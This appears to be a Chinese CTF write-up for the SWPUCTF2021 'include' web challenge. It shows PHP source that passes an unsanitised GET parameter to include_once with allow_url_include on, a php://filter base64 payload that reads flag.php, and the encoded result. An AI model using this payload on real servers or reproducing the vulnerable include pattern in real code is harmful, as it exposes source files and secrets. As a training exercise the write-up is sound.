NSSCTF每日一练 SWPUCTF2021 include--web

这道题是出自SWPUCTF2021的新生赛。

题目打开给了一个你能上传文件吗?

那么直接在url栏尝试get传参(直接在url后面加?file)

那么就可以看到php的源码

复制代码
 <?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

可以看到有个ini_set 设置了参数为on;可以用php伪协议filter进行文件读取。直接读取flag所在的目录也就是flag.php。那么payload就是:URL+/?file=php://filter/read=convert.base64-encode/resource=flag.php;然后得到了

PD9waHANCiRmbGFnPSdOU1NDVEZ7MGFiZTg3MTQtYThiOS00ZGYyLWIzZGMtYWY0MzE3NTM2NzJifSc7。一眼base64,直接cyberchef解。

相关推荐
fundroid20 分钟前
Androidify:谷歌官方 AI + Android 开源示例应用
android·人工智能·开源
Z***u6591 小时前
前端性能测试实践
前端
xhxxx1 小时前
prototype 是遗产,proto 是族谱:一文吃透 JS 原型链
前端·javascript
倾墨1 小时前
Bytebot源码学习
前端
用户93816912553601 小时前
VUE3项目--集成Sass
前端
4z331 小时前
Android15 Framework(2):应用进程的孵化器 Zygote 进程解析
android·源码阅读
S***H2831 小时前
Vue语音识别案例
前端·vue.js·语音识别
00后程序员张2 小时前
iOS 抓不到包怎么办?从 HTTPS 解密、QUIC 排查到 TCP 数据流分析的完整解决方案
android·tcp/ip·ios·小程序·https·uni-app·iphone
啦啦9118862 小时前
【版本更新】Edge 浏览器 v142.0.3595.94 绿色增强版+官方安装包
前端·edge